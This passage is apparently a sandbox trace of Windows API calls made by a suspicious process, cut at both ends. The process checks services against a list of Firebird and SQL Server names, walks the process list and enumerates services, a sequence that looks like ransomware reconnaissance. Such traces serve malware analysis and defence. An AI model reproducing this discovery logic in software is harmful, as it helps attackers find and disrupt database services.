[0264.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0264.212] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0264.212] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0264.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0264.212] lstrlenW (lpString="netprofm") returned 8 [0264.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0264.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0264.213] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0264.213] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0264.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0264.213] lstrlenW (lpString="NgcSvc") returned 6 [0264.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0264.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0264.213] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0264.213] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0264.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0264.213] lstrlenW (lpString="NlaSvc") returned 6 [0264.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0264.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0264.213] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0264.213] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0264.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0264.213] lstrlenW (lpString="nsi") returned 3 [0264.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0264.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0264.213] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0264.213] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0264.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0264.213] lstrlenW (lpString="PcaSvc") returned 6 [0264.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0264.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0264.214] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0264.214] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0264.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0264.214] lstrlenW (lpString="PlugPlay") returned 8 [0264.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0264.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0264.214] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0264.214] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0264.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0264.214] lstrlenW (lpString="Power") returned 5 [0264.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0264.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0264.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0264.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0264.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0264.214] lstrlenW (lpString="ProfSvc") returned 7 [0264.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0264.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0264.214] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0264.215] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0264.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0264.215] lstrlenW (lpString="RpcEptMapper") returned 12 [0264.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0264.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0264.215] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0264.215] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0264.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0264.215] lstrlenW (lpString="RpcSs") returned 5 [0264.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0264.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0264.215] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0264.215] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0264.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0264.215] lstrlenW (lpString="SamSs") returned 5 [0264.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0264.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0264.215] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0264.215] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0264.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0264.215] lstrlenW (lpString="Schedule") returned 8 [0264.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0264.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0264.215] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0264.215] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0264.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0264.216] lstrlenW (lpString="SecurityHealthService") returned 21 [0264.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0264.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0264.216] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0264.216] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0264.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0264.216] lstrlenW (lpString="SENS") returned 4 [0264.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0264.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0264.216] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0264.216] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0264.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0264.216] lstrlenW (lpString="ShellHWDetection") returned 16 [0264.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0264.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0264.216] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0264.216] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0264.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0264.216] lstrlenW (lpString="Spooler") returned 7 [0264.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0264.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0264.216] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0264.216] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0264.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0264.216] lstrlenW (lpString="SSDPSRV") returned 7 [0264.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0264.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0264.217] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0264.217] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0264.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0264.217] lstrlenW (lpString="StateRepository") returned 15 [0264.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0264.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0264.217] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0264.217] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0264.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0264.217] lstrlenW (lpString="SysMain") returned 7 [0264.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0264.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0264.217] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0264.217] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0264.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0264.217] lstrlenW (lpString="SystemEventsBroker") returned 18 [0264.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0264.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0264.217] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0264.217] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0264.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42d0fe0 | out: hHeap=0x670000) returned 1 [0264.218] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4c8 [0264.224] Process32FirstW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.225] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0264.226] lstrlenW (lpString="System") returned 6 [0264.226] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0264.226] lstrlenW (lpString="smss.exe") returned 8 [0264.227] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.227] lstrlenW (lpString="csrss.exe") returned 9 [0264.227] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0264.228] lstrlenW (lpString="wininit.exe") returned 11 [0264.228] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.228] lstrlenW (lpString="csrss.exe") returned 9 [0264.228] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0264.229] lstrlenW (lpString="winlogon.exe") returned 12 [0264.229] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0264.229] lstrlenW (lpString="services.exe") returned 12 [0264.229] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0264.230] lstrlenW (lpString="lsass.exe") returned 9 [0264.230] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0264.231] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0264.231] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0264.231] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0264.231] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.232] lstrlenW (lpString="svchost.exe") returned 11 [0264.232] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.232] lstrlenW (lpString="svchost.exe") returned 11 [0264.232] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0264.233] lstrlenW (lpString="dwm.exe") returned 7 [0264.233] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.234] lstrlenW (lpString="svchost.exe") returned 11 [0264.234] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.235] lstrlenW (lpString="svchost.exe") returned 11 [0264.235] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.235] lstrlenW (lpString="svchost.exe") returned 11 [0264.235] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.236] lstrlenW (lpString="svchost.exe") returned 11 [0264.236] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.237] lstrlenW (lpString="svchost.exe") returned 11 [0264.237] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.237] lstrlenW (lpString="svchost.exe") returned 11 [0264.237] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.238] lstrlenW (lpString="svchost.exe") returned 11 [0264.238] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.238] lstrlenW (lpString="svchost.exe") returned 11 [0264.238] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.239] lstrlenW (lpString="svchost.exe") returned 11 [0264.239] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.239] lstrlenW (lpString="svchost.exe") returned 11 [0264.239] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0264.239] lstrlenW (lpString="spoolsv.exe") returned 11 [0264.240] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.240] lstrlenW (lpString="svchost.exe") returned 11 [0264.240] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0264.240] lstrlenW (lpString="audiodg.exe") returned 11 [0264.240] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0264.241] lstrlenW (lpString="sihost.exe") returned 10 [0264.241] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.241] lstrlenW (lpString="svchost.exe") returned 11 [0264.241] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0264.242] lstrlenW (lpString="taskhostw.exe") returned 13 [0264.242] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0264.243] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0264.243] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0264.243] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0264.243] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0264.247] lstrlenW (lpString="Memory Compression") returned 18 [0264.247] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0264.248] lstrlenW (lpString="explorer.exe") returned 12 [0264.248] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0264.518] lstrlenW (lpString="SearchUI.exe") returned 12 [0264.518] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0264.519] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0264.519] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0264.520] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0264.520] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0264.520] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0264.521] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0264.521] lstrlenW (lpString="finbbp.exe") returned 10 [0264.521] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0264.522] lstrlenW (lpString="consent.exe") returned 11 [0264.522] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.523] lstrlenW (lpString="svchost.exe") returned 11 [0264.523] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0264.523] lstrlenW (lpString="dllhost.exe") returned 11 [0264.523] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0264.524] CloseHandle (hObject=0x4c8) returned 1 [0264.524] Sleep (dwMilliseconds=0x1f4) [0265.318] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa678 [0265.319] EnumServicesStatusExW (in: hSCManager=0x41aa678, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0265.320] GetLastError () returned 0xea [0265.320] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x4207e50 [0265.321] EnumServicesStatusExW (in: 